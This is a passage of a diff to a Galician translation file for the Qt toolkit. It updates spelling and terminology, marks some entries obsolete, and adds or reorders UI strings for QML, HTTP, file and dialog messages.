+ <translation>Referencia non válida a un alcume. Non foi posíbel atopar o id «%1»</translation>
</message>
</context>
<context>
@@ -2023,26 +1729,26 @@ superior, inferior nin vcenter.</translation>
<name>QDeclarativeCompositeTypeManager</name>
<message>
<source>Resource %1 unavailable</source>
- <translation>O recurso %1 non está dispoñíbel</translation>
+ <translation type="obsolete">O recurso %1 non está dispoñíbel</translation>
</message>
<message>
<source>Namespace %1 cannot be used as a type</source>
- <translation>O espazo de nomes %1 non se pode empregar como un tipo</translation>
+ <translation type="obsolete">O espazo de nomes %1 non se pode empregar como un tipo</translation>
</message>
<message>
<source>%1 %2</source>
- <translation>%1 %2</translation>
+ <translation type="obsolete">%1 %2</translation>
</message>
<message>
<source>Type %1 unavailable</source>
- <translation>O tipo %1 non está dispoñíbel</translation>
+ <translation type="obsolete">O tipo %1 non está dispoñíbel</translation>
</message>
</context>
<context>
<name>QDeclarativeConnections</name>
<message>
<source>Cannot assign to non-existent property &quot;%1&quot;</source>
- <translation>Non é posíbel asignar a unha propriedade non existente «%1»</translation>
+ <translation>Non é posíbel asignar a unha propiedade non existente «%1»</translation>
</message>
<message>
<source>Connections: nested objects not allowed</source>
@@ -2069,7 +1775,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Version mismatch: expected %1, found %2</source>
- <translation>Non se corresponden as versións: agardábase a %1 pero achouse a %2</translation>
+ <translation>Non se corresponden as versións: agardábase a %1 pero atopouse a %2</translation>
</message>
<message>
<source>SQL transaction failed</source>
@@ -2088,26 +1794,30 @@ superior, inferior nin vcenter.</translation>
<name>QDeclarativeFlipable</name>
<message>
<source>front is a write-once property</source>
- <translation>front é unha propriedade só para escrita</translation>
+ <translation>front é unha propiedade só para escrita</translation>
</message>
<message>
<source>back is a write-once property</source>
- <translation>bach é unha propriedade só para escrita</translation>
+ <translation>back é unha propiedade só para escrita</translation>
</message>
</context>
<context>
<name>QDeclarativeImportDatabase</name>
<message>
+ <source>cannot load module &quot;%1&quot;: File name case mismatch for &quot;%2&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>module &quot;%1&quot; definition &quot;%2&quot; not readable</source>
<translation>a definición «%2» no módulo «%1» non é lexíbel</translation>
</message>
<message>
<source>plugin cannot be loaded for module &quot;%1&quot;: %2</source>
- <translation>non foi posíbel cargar a extensión para o módulo «%1»: %2</translation>
+ <translation>non foi posíbel cargar o complemento para o módulo «%1»: %2</translation>
</message>
<message>
<source>module &quot;%1&quot; plugin &quot;%2&quot; not found</source>
- <translation>non se atopou a extensión «%2» do módulo «%1»</translation>
+ <translation>non se atopou o complemento «%2» do módulo «%1»</translation>
</message>
<message>
<source>module &quot;%1&quot; version %2.%3 is not installed</source>
@@ -2139,7 +1849,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>is ambiguous. Found in %1 and in %2</source>
- <translation>é ambíguo. Atopouse en %1 e en %2</translation>
+ <translation>é ambiguo. Atopouse en %1 e en %2</translation>
</message>
<message>
<source>is ambiguous. Found in %1 in version %2.%3 and %4.%5</source>
@@ -2153,6 +1863,24 @@ superior, inferior nin vcenter.</translation>
<source>is not a type</source>
<translation>non é un tipo</translation>
</message>
+ <message>
+ <source>File name case mismatch for &quot;%2&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeKeyNavigationAttached</name>
+ <message>
+ <source>KeyNavigation is only available via attached properties</source>
+ <translation>KeyNavigation só está dispoñíbel mediante as propiedades anexadas</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeKeysAttached</name>
+ <message>
+ <source>Keys is only available via attached properties</source>
+ <translation>Keys só está dispoñíbel mediante as propiedades anexadas</translation>
+ </message>
</context>
<context>
<name>QDeclarativeListModel</name>
@@ -2190,15 +1918,15 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>ListElement: cannot use reserved &quot;id&quot; property</source>
- <translation>Elemento de lista: non pode empregar a propriedade «id» porque está reservada</translation>
+ <translation>Elemento de lista: non pode empregar a propiedade «id» porque está reservada</translation>
</message>
<message>
<source>ListElement: cannot use script for property value</source>
- <translation>Elemento de lista: non pode empregar script como valor de propriedade</translation>
+ <translation>Elemento de lista: non pode empregar script como valor de propiedade</translation>
</message>
<message>
<source>ListModel: undefined property &apos;%1&apos;</source>
- <translation>Modelo de lista: a propriedade «%1» non está definida</translation>
+ <translation>Modelo de lista: a propiedade «%1» non está definida</translation>
</message>
</context>
<context>
@@ -2209,6 +1937,21 @@ superior, inferior nin vcenter.</translation>
</message>
</context>
<context>
+ <name>QDeclarativeParentAnimation</name>
+ <message>
+ <source>Unable to preserve appearance under complex transform</source>
+ <translation>Non é posíbel conservar a aparencia con transformación complexa</translation>
+ </message>
+ <message>
+ <source>Unable to preserve appearance under non-uniform scale</source>
+ <translation>Non é posíbel conservar a aparencia con escalado non uniforme</translation>
+ </message>
+ <message>
+ <source>Unable to preserve appearance under scale of 0</source>
+ <translation>Non é posíbel conservar a aparencia con escala de 0</translation>
+ </message>
+</context>
+<context>
<name>QDeclarativeParentChange</name>
<message>
<source>Unable to preserve appearance under complex transform</source>
@@ -2231,7 +1974,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Illegal character</source>
- <translation>Caracter ilegal</translation>
+ <translation>Carácter ilegal</translation>
</message>
<message>
<source>Unclosed string at end of line</source>
@@ -2239,6 +1982,10 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Illegal escape squence</source>
+ <translation type="obsolete">Secuencia de escape ilegal</translation>
+ </message>
+ <message>
+ <source>Illegal escape sequence</source>
<translation>Secuencia de escape ilegal</translation>
</message>
<message>
@@ -2263,7 +2010,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Unterminated regular expression backslash sequence</source>
- <translation>Secuencia de expresión regular non terminda con contrabarra</translation>
+ <translation>Secuencia de expresión regular non terminada con contrabarra</translation>
</message>
<message>
<source>Unterminated regular expression class</source>
@@ -2283,7 +2030,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Property value set multiple times</source>
- <translation>O valor da propriedade estabeleceuse varias veces</translation>
+ <translation>O valor da propiedade estabeleceuse varias veces</translation>
</message>
<message>
<source>Expected type name</source>
@@ -2291,19 +2038,19 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Invalid import qualifier ID</source>
- <translation>ID do calificador de importación non válido</translation>
+ <translation>ID do cualificador de importación non válido</translation>
</message>
<message>
<source>Reserved name &quot;Qt&quot; cannot be used as an qualifier</source>
- <translation>O nome reservado «Qt» non se pode empregar como calificador</translation>
+ <translation>O nome reservado «Qt» non se pode empregar como cualificador</translation>
</message>
<message>
<source>Script import qualifiers must be unique.</source>
- <translation>Os calificadores de importación de script deben ser únicos.</translation>
+ <translation>Os cualificadores de importación de script deben ser únicos.</translation>
</message>
<message>
<source>Script import requires a qualifier</source>
- <translation>A importación de script require dun calificador</translation>
+ <translation>A importación de script require dun cualificador</translation>
</message>
<message>
<source>Library import requires a version</source>
@@ -2315,19 +2062,19 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Invalid property type modifier</source>
- <translation>Modificador de tipo da propriedade non válido</translation>
+ <translation>Modificador de tipo da propiedade non válido</translation>
</message>
<message>
<source>Unexpected property type modifier</source>
- <translation>Modificador do tipo da propriedade non agardado</translation>
+ <translation>Modificador do tipo da propiedade non agardado</translation>
</message>
<message>
<source>Expected property type</source>
- <translation>Agardábase o tipo dunha propriedade</translation>
+ <translation>Agardábase o tipo dunha propiedade</translation>
</message>
<message>
<source>Readonly not yet supported</source>
- <translation>Aínda non se soporta o só para leitura</translation>
+ <translation>Aínda non se soporta o só para lectura</translation>
</message>
<message>
<source>JavaScript declaration outside Script element</source>
@@ -2335,6 +2082,13 @@ superior, inferior nin vcenter.</translation>
</message>
</context>
<context>
+ <name>QDeclarativePauseAnimation</name>
+ <message>
+ <source>Cannot set a duration of &lt; 0</source>
+ <translation>Non se pode indicar unha duración &lt; 0</translation>
+ </message>
+</context>
+<context>
<name>QDeclarativePixmap</name>
<message>
<source>Error decoding: %1: %2</source>
@@ -2350,6 +2104,13 @@ superior, inferior nin vcenter.</translation>
</message>
</context>
<context>
+ <name>QDeclarativePropertyAnimation</name>
+ <message>
+ <source>Cannot set a duration of &lt; 0</source>
+ <translation>Non se pode indicar unha duración &lt; 0</translation>
+ </message>
+</context>
+<context>
<name>QDeclarativePropertyChanges</name>
<message>
<source>PropertyChanges does not support creating state-specific objects.</source>
@@ -2357,11 +2118,11 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Cannot assign to non-existent property &quot;%1&quot;</source>
- <translation>Non é posíbel asignar á propriedade inexistente «%1»</translation>
+ <translation>Non é posíbel asignar á propiedade inexistente «%1»</translation>
</message>
<message>
<source>Cannot assign to read-only property &quot;%1&quot;</source>
- <translation>Non é posíbel asignar a unha propriedade só para lectura «%1»</translation>
+ <translation>Non é posíbel asignar a unha propiedade só para lectura «%1»</translation>
</message>
</context>
<context>
@@ -2376,6 +2137,25 @@ superior, inferior nin vcenter.</translation>
</message>
</context>
<context>
+ <name>QDeclarativeTypeLoader</name>
+ <message>
+ <source>Script %1 unavailable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Type %1 unavailable</source>
+ <translation type="unfinished">O tipo %1 non está dispoñíbel</translation>
+ </message>
+ <message>
+ <source>Namespace %1 cannot be used as a type</source>
+ <translation type="unfinished">O espazo de nomes %1 non se pode empregar como un tipo</translation>
+ </message>
+ <message>
+ <source>%1 %2</source>
+ <translation type="unfinished">%1 %2</translation>
+ </message>
+</context>
+<context>
<name>QDeclarativeVME</name>
<message>
<source>Unable to create object of type %1</source>
@@ -2383,7 +2163,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Cannot assign value %1 to property %2</source>
- <translation>Non é posíbel asignar o valor %1 á propriedade %2</translation>
+ <translation>Non é posíbel asignar o valor %1 á propiedade %2</translation>
</message>
<message>
<source>Cannot assign object type %1 with no default method</source>
@@ -2395,7 +2175,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Cannot assign an object to signal property %1</source>
- <translation>Non é posíbel asignar un obxecto á propriedade de sinal %1</translation>
+ <translation>Non é posíbel asignar un obxecto á propiedade de sinal %1</translation>
</message>
<message>
<source>Cannot assign object to list</source>
@@ -2403,7 +2183,7 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Cannot assign object to interface property</source>
- <translation>Non é posíbel asignar un obxecto a unha propriedade dunha interface</translation>
+ <translation>Non é posíbel asignar un obxecto a unha propiedade dunha interface</translation>
</message>
<message>
<source>Unable to create attached object</source>
@@ -2411,14 +2191,21 @@ superior, inferior nin vcenter.</translation>
</message>
<message>
<source>Cannot set properties on %1 as it is null</source>
- <translation>Non se poden definir propriedades de %1 porque é nulo</translation>
+ <translation>Non se poden definir propiedades de %1 porque é nulo</translation>
</message>
</context>
<context>
<name>QDeclarativeVisualDataModel</name>
<message>
<source>Delegate component must be Item type.</source>
- <translation>O componente delegado debe ser do tipo Item.</translation>
+ <translation>O compoñente delegado debe ser do tipo Item.</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeXmlListModel</name>
+ <message>
+ <source>Qt was built without support for xmlpatterns</source>
+ <translation>Qt construíuse sen soporte para xmlpatterns</translation>
</message>
</context>
<context>
@@ -2436,21 +2223,6 @@ superior, inferior nin vcenter.</translation>
</message>
</context>
<context>
- <name>QObject</name>
- <message>
- <source>&quot;%1&quot; duplicates a previous role name and will be disabled.</source>
- <translation>«%1» duplica un nome de rol anterior e desactivarase.</translation>
- </message>
- <message>
- <source>invalid query: &quot;%1&quot;</source>
- <translation>pescuda non válida: «%1»</translation>
- </message>
- <message>
- <source>PulseAudio Sound Server</source>
- <translation>Servidor de son PulseAudio</translation>
- </message>
-</context>
-<context>
<name>QDial</name>
<message>
<source>QDial</source>
@@ -2466,118 +2238,6 @@ superior, inferior nin vcenter.</translation>
</message>
</context>
<context>
- <name>QDoubleSpinBox</name>
- <message>
- <source>More</source>
- <translation>Máis</translation>
- </message>
- <message>
- <source>Less</source>
- <translation>Menos</translation>
- </message>
-</context>
-<context>
- <name>QScrollBar</name>
- <message>
- <source>Line up</source>
- <translation>Aliñar en riba</translation>
- </message>
- <message>
- <source>Position</source>
- <translation>Posición</translation>
- </message>
- <message>
- <source>Line down</source>
- <translation>Aliñar en baixo</translation>
- </message>
- <message>
- <source>Scroll here</source>
- <translation>Desprazar cara aquí</translation>
- </message>
- <message>
- <source>Left edge</source>
- <translation>Borde esquerdo</translation>
- </message>
- <message>
- <source>Top</source>
- <translation>Cume</translation>
- </message>
- <message>
- <source>Right edge</source>
- <translation>Borde dereito</translation>
- </message>
- <message>
- <source>Bottom</source>
- <translation>Fondo</translation>
- </message>
- <message>
- <source>Page left</source>
- <translation>Páxina á esquerda</translation>
- </message>
- <message>
- <source>Page up</source>
- <translation>Páxina en riba</translation>
- </message>
- <message>
- <source>Page right</source>
- <translation>Páxina á dereita</translation>
- </message>
- <message>
- <source>Page down</source>
- <translation>Páxina en baixo</translation>
- </message>
- <message>
- <source>Scroll left</source>
- <translation>Desprazar cara á esquerda</translation>
- </message>
- <message>
- <source>Scroll up</source>
- <translation>Desprazar cara arriba</translation>
- </message>
- <message>
- <source>Scroll right</source>
- <translation>Desprazar cara á dereita</translation>
- </message>
- <message>
- <source>Scroll down</source>
- <translation>Desprazar cara abaixo</translation>
- </message>
-</context>
-<context>
- <name>QSlider</name>
- <message>
- <source>Page left</source>
- <translation>Páxina á esquerda</translation>
- </message>
- <message>
- <source>Page up</source>
- <translation>Páxina en riba</translation>
- </message>
- <message>
- <source>Position</source>
- <translation>Posición</translation>
- </message>
- <message>
- <source>Page right</source>
- <translation>Páxina á dereita</translation>
- </message>
- <message>
- <source>Page down</source>
- <translation>Páxina en baixo</translation>
- </message>
-</context>
-<context>
- <name>QSpinBox</name>
- <message>
- <source>More</source>
- <translation>Máis</translation>
- </message>
- <message>
- <source>Less</source>
- <translation>Menos</translation>
- </message>
-</context>
-<context>
<name>QDialog</name>
<message>
<source>Done</source>
@@ -2688,67 +2348,108 @@ superior, inferior nin vcenter.</translation>
</message>
</context>
<context>
- <name>QMessageBox</name>
+ <name>QDirModel</name>
<message>
- <source>Show Details...</source>
- <translation>Mostrar os detalles...</translation>
+ <source>Name</source>
+ <translation>Nome</translation>
</message>
<message>
- <source>Hide Details...</source>
- <translation>Agochar os detalles...</translation>
+ <source>Size</source>
+ <translation>Tamaño</translation>
</message>
<message>
- <source>OK</source>
- <translation>Aceptar</translation>
+ <source>Kind</source>
+ <comment>Match OS X Finder</comment>
+ <translation>Tipo</translation>
</message>
<message>
- <source>Help</source>
- <translation>Axuda</translation>
+ <source>Type</source>
+ <comment>All other platforms</comment>
+ <translation>Tipo</translation>
</message>
<message>
- <source>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;</source>
- <translation>&lt;h3&gt;Acerca de Qt&lt;/h3&gt;&lt;p&gt;Este programa emprega a versión %1 de Qt.&lt;/p&gt;</translation>
+ <source>Date Modified</source>
+ <translation>Data de modificación</translation>
</message>
+</context>
+<context>
+ <name>QDockWidget</name>
<message>
- <source>&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;&lt;p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
- <translation>&lt;p&gt;Qt é un toolkit de C++ para o desenvolvemento de programas multiplataforma.&lt;/p&gt; &lt;p&gt;Qt fornece portabilidade entre MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux e as principais variantes comerciais de Unix cun único código fonte. Qt tamén está dispoñíbel para dispositivos incrustados como Qt para Embedded Linux e Qt para Windows CE.&lt;/p&gt;
-&lt;p&gt;Qt está dispoñíbel en tres opcións de licenzas diferentes deseñadas para adaptarse ás necesidades dos diferentes usuarios.&lt;/p&gt;
-&lt;/p&gt;Qt distribuída sob o acordo de licenza comercial é adecuado para o desenvolvemento de software proprietario
-ou comercial onde non é preciso compartir ningún código fonte con terceiras partes ou que non poden cumprir os termos das licenzas GNU LGPL versión 2.1 nin da versión 3.0.&lt;/p&gt;
-&lt;p&gt;Qt sob a licenza GNU General Public License versión 2.1 é apropriada para o desenvolvemento de programas Qt (proprietario ou de fontes abertas) supoñendo que poda cumprir cos termos e condicións da licenza GNU GPL versión 2.1.&lt;/p&gt;
-&lt;p&gt;Qt sob a licenza GNU General Public License versión 3.0 é apropriada para o desenvolvemento de programas Qt onde desexe empregar tales programas en combinación con software suxeito aos termos da GNU GPL versión 3.0 ou onde desexe cumprir cos termos da GNU GPL versión 3.0.&lt;/p&gt;
-&lt;p&gt;Consulte &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; para ler un resumo das licenzas de Qt.&lt;/p&gt;
-&lt;p&gt;Copyright (C) 2011 Nokia Corporation ou as súas subsidiarias.&lt;/p&gt;
-&lt;p&gt;Qt é un produto de Nokia. Consulte &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; para máis información.&lt;/p&gt;</translation>
+ <source>Close</source>
+ <translation>Pechar</translation>
</message>
<message>
- <source>About Qt</source>
- <translation>Acerca de Qt</translation>
+ <source>Dock</source>
+ <translation>Acoplar</translation>
+ </message>
+ <message>
+ <source>Float</source>
+ <translation>Flutuante</translation>
</message>
</context>
<context>
- <name>QDirModel</name>
+ <name>QDoubleSpinBox</name>
<message>
- <source>Name</source>
- <translation>Nome</translation>
+ <source>More</source>
+ <translation>Máis</translation>
</message>
<message>
- <source>Size</source>
- <translation>Tamaño</translation>
+ <source>Less</source>
+ <translation>Menos</translation>
</message>
+</context>
+<context>
+ <name>QErrorMessage</name>
<message>
- <source>Kind</source>
- <comment>Match OS X Finder</comment>
- <translation>Tipo</translation>
+ <source>Debug Message:</source>
+ <translation>Mensaxe de depuración:</translation>
</message>
<message>
- <source>Type</source>
- <comment>All other platforms</comment>
- <translation>Tipo</translation>
+ <source>Warning:</source>
+ <translation>Aviso:</translation>
</message>
<message>
- <source>Date Modified</source>
- <translation>Data de modificación</translation>
+ <source>Fatal Error:</source>
+ <translation>Erro fatal:</translation>
+ </message>
+ <message>
+ <source>&amp;Show this message again</source>
+ <translation>&amp;Mostrar esta mensaxe de novo</translation>
+ </message>
+ <message>
+ <source>&amp;OK</source>
+ <translation>&amp;Aceptar</translation>
+ </message>
+</context>
+<context>
+ <name>QFile</name>
+ <message>
+ <source>Destination file exists</source>
+ <translation>O ficheiro de destino xa existe</translation>
+ </message>
+ <message>
+ <source>Will not rename sequential file using block copy</source>
+ <translation>Non se mudará o nome do ficheiro secuencial empregando a copia de bloques</translation>
+ </message>
+ <message>
+ <source>Cannot remove source file</source>
+ <translation>Non é posíbel eliminar o ficheiro de orixe</translation>
+ </message>
+ <message>
+ <source>Cannot open %1 for input</source>
+ <translation>Non é posíbel abrir %1 como entrada</translation>
+ </message>
+ <message>
+ <source>Cannot open for output</source>
+ <translation>Non foi posíbel abrir o ficheiro de saída</translation>
+ </message>
+ <message>
+ <source>Failure to write block</source>
+ <translation>Non foi posíbel escribir o bloque</translation>
+ </message>
+ <message>
+ <source>Cannot create %1 for output</source>
+ <translation>Non foi posíbel crear %1 para a saída</translation>
</message>
</context>
<context>
@@ -2815,7 +2516,7 @@ ou comercial onde non é preciso compartir ningún código fonte con terceiras p
</message>
<message>
<source>Find Directory</source>
- <translation>Procurar un cartafol</translation>
+ <translation>Buscar un cartafol</translation>
</message>
<message>
<source>Open</source>
@@ -2878,7 +2579,7 @@ ou comercial onde non é preciso compartir ningún código fonte con terceiras p
Directory not found.
Please verify the correct directory name was given.</source>
<translation>%1
-Non se achou o cartafol.
+Non se atopou o cartafol.
Verifique que se indicase o nome correcto.</translation>
</message>
<message>
@@ -3024,75 +2725,6 @@ Desexa aínda así borralo?</translation>
</message>
</context>
<context>
- <name>QDockWidget</name>
- <message>
- <source>Close</source>
- <translation>Pechar</translation>
- </message>
- <message>
- <source>Dock</source>
- <translation>Acoplar</translation>
- </message>
- <message>
- <source>Float</source>
- <translation>Flutuante</translation>
- </message>
-</context>
-<context>
- <name>QErrorMessage</name>
- <message>
- <source>Debug Message:</source>
- <translation>Mensaxe de depuración:</translation>
- </message>
- <message>
- <source>Warning:</source>
- <translation>Aviso:</translation>
- </message>
- <message>
- <source>Fatal Error:</source>
- <translation>Erro fatal:</translation>
- </message>
- <message>
- <source>&amp;Show this message again</source>
- <translation>&amp;Mostrar esta mensaxe de novo</translation>
- </message>
- <message>
- <source>&amp;OK</source>
- <translation>&amp;Aceptar</translation>
- </message>
-</context>
-<context>
- <name>QFile</name>
- <message>
- <source>Destination file exists</source>
- <translation>O ficheiro de destino xa existe</translation>
- </message>
- <message>
- <source>Will not rename sequential file using block copy</source>
- <translation>Non se mudará o nome do ficheiro secuencial empregando a copia de bloques</translation>
- </message>
- <message>
- <source>Cannot remove source file</source>
- <translation>Non é posíbel eliminar o ficheiro de orixe</translation>
- </message>
- <message>
- <source>Cannot open %1 for input</source>
- <translation>Non é posíbel abrir %1 como entrada</translation>
- </message>
- <message>
- <source>Cannot open for output</source>
- <translation>Non foi posíbel abrir o ficheiro de saída</translation>
- </message>
- <message>
- <source>Failure to write block</source>
- <translation>Non foi posíbel escribir o bloque</translation>
- </message>
- <message>
- <source>Cannot create %1 for output</source>
- <translation>Non foi posíbel crear %1 para a saída</translation>
- </message>
-</context>
-<context>
<name>QFontDatabase</name>
<message>
<source>Normal</source>
@@ -3442,6 +3074,117 @@ Desexa aínda así borralo?</translation>
</message>
</context>
<context>
+ <name>QHttp</name>
+ <message>
+ <source>Connection refused</source>
+ <translation>Rexeitouse a conexión</translation>
+ </message>
+ <message>
+ <source>Connection closed</source>
+ <translation>Pechouse a conexión</translation>
+ </message>
+ <message>
+ <source>Proxy requires authentication</source>
+ <translation>O proxy require autenticación</translation>
+ </message>
+ <message>
+ <source>Host requires authentication</source>
+ <translation>O servidor require autenticación</translation>
+ </message>
+ <message>
+ <source>Data corrupted</source>
+ <translation>Datos corrompidos</translation>
+ </message>
+ <message>
+ <source>Unknown protocol specified</source>
+ <translation>Especificouse un protocolo descoñecido</translation>
+ </message>
+ <message>
+ <source>SSL handshake failed</source>
+ <translation>Fallou a negociación de SSL</translation>
+ </message>
+ <message>
+ <source>HTTPS connection requested but SSL support not compiled in</source>
+ <translation>Pediuse unha conexión HTTPS pero non se compilou con soporte de SSL</translation>
+ </message>
+ <message>
+ <source>Unknown error</source>
+ <translation>Erro descoñecido</translation>
+ </message>
+ <message>
+ <source>Request aborted</source>
+ <translation>Pedido abortado</translation>
+ </message>
+ <message>
+ <source>No server set to connect to</source>
+ <translation>Non se indicou ningún servidor co que conectar</translation>
+ </message>
+ <message>
+ <source>Wrong content length</source>
+ <translation>Lonxitude do contido incorrecta</translation>
+ </message>
+ <message>
+ <source>Server closed connection unexpectedly</source>
+ <translation>O servidor pechou a conexión inesperadamente</translation>
+ </message>
+ <message>
+ <source>Connection refused (or timed out)</source>
+ <translation>Rexeitouse a conexión (ou esgotou o tempo-límite)</translation>
+ </message>
+ <message>
+ <source>Host %1 not found</source>
+ <translation>Non se atopou o servidor %1</translation>
+ </message>
+ <message>
+ <source>HTTP request failed</source>
+ <translation>O pedido HTTP fallou</translation>
+ </message>
+ <message>
+ <source>Invalid HTTP response header</source>
+ <translation>A cabeceira da resposta HTTP non é válida</translation>
+ </message>
+ <message>
+ <source>Unknown authentication method</source>
+ <translation>Método descoñecido de autenticación</translation>
+ </message>
+ <message>
+ <source>Proxy authentication required</source>
+ <translation>Requírese de autenticación no proxy</translation>
+ </message>
+ <message>
+ <source>Authentication required</source>
+ <translation>Requírese de autenticación</translation>
+ </message>
+ <message>
+ <source>Invalid HTTP chunked body</source>
+ <translation>Corpo HTTP en pedazos non válido</translation>
+ </message>
+ <message>
+ <source>Error writing response to device</source>
+ <translation>Erro ao escribir a resposta no dispositivo</translation>
+ </message>
+ <message>
+ <source>Host %1 found</source>
+ <translation>Atopouse o servidor %1</translation>
+ </message>
+ <message>
+ <source>Connected to host %1</source>
+ <translation>Conectado co servidor %1</translation>
+ </message>
+ <message>
+ <source>Connection to %1 closed</source>
+ <translation>Pechouse a conexión con %1</translation>
+ </message>
+ <message>
+ <source>Host found</source>
+ <translation>Atopouse un servidor</translation>
+ </message>
+ <message>
+ <source>Connected to host</source>
+ <translation>Conectado co servidor</translation>
+ </message>
+</context>
+<context>
<name>QHttpSocketEngine</name>
<message>
<source>Did not receive HTTP response from proxy</source>
@@ -3631,15 +3374,15 @@ Desexa aínda así borralo?</translation>
<name>QLibrary</name>
<message>
<source>Could not mmap &apos;%1&apos;: %2</source>
- <translation>Non foi posíbel mmap «%1»: %2</translation>
+ <translation type="obsolete">Non foi posíbel mmap «%1»: %2</translation>
</message>
<message>
<source>Plugin verification data mismatch in &apos;%1&apos;</source>
- <translation>Erro de concordancia na verificación dos datos da extensión en «%1»</translation>
+ <translation>Erro de concordancia na verificación dos datos do complemento en «%1»</translation>
</message>
<message>
<source>Could not unmap &apos;%1&apos;: %2</source>
- <translation>Non foi posíbel unmap «%1»: %2</translation>
+ <translation type="obsolete">Non foi posíbel unmap «%1»: %2</translation>
</message>
<message>
<source>The shared library was not found.</source>
@@ -3647,21 +3390,20 @@ Desexa aínda así borralo?</translation>
</message>
<message>
<source>The file &apos;%1&apos; is not a valid Qt plugin.</source>
- <translation>O ficheiro «%1» non é unha extensión válida de Qt.</translation>
+ <translation>O ficheiro «%1» non é un complemento válido de Qt.</translation>
</message>
<message>
<source>The plugin &apos;%1&apos; uses incompatible Qt library. (%2.%3.%4) [%5]</source>
- <translation>A extensión «%1» utiliza unha biblioteca Qt non compatíbel. (%2.%3.%4) [%5]</translation>
+ <translation>O complemento «%1» utiliza unha biblioteca Qt non compatíbel. (%2.%3.%4) [%5]</translation>
</message>
<message>
<source>The plugin &apos;%1&apos; uses incompatible Qt library. Expected build key &quot;%2&quot;, got &quot;%3&quot;</source>
- <translation>A extensión «%1» utiliza unha biblioteca Qt non compatíbel. Agardábase a
+ <translation>O complemento «%1» utiliza unha biblioteca Qt non compatíbel. Agardábase a
chave de compilación «%2», obtívose a «%3»</translation>
</message>
<message>
<source>The plugin &apos;%1&apos; uses incompatible Qt library. (Cannot mix debug and release libraries.)</source>
- <translation>A extensión «%1» utiliza unha biblioteca Qt non compatíbel (Non é posíbel
-misturar as bibliotecas de depuración coas publicadas).</translation>
+ <translation>O complemento «%1» utiliza unha biblioteca Qt non compatíbel (Non é posíbel mesturar as bibliotecas de depuración coas publicadas).</translation>
</message>
<message>
<source>Unknown error</source>
@@ -3952,6 +3694,57 @@ misturar as bibliotecas de depuración coas publicadas).</translation>
</message>
</context>
<context>
+ <name>QMessageBox</name>
+ <message>
+ <source>Show Details...</source>
+ <translation>Mostrar os detalles...</translation>
+ </message>
+ <message>
+ <source>Hide Details...</source>
+ <translation>Acochar os detalles...</translation>
+ </message>
+ <message>
+ <source>OK</source>
+ <translation>Aceptar</translation>
+ </message>
+ <message>
+ <source>Help</source>
+ <translation>Axuda</translation>
+ </message>
+ <message>
+ <source>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;</source>
+ <translation>&lt;h3&gt;Acerca de Qt&lt;/h3&gt;&lt;p&gt;Este programa emprega a versión %1 de Qt.&lt;/p&gt;</translation>
+ </message>
+ <message>
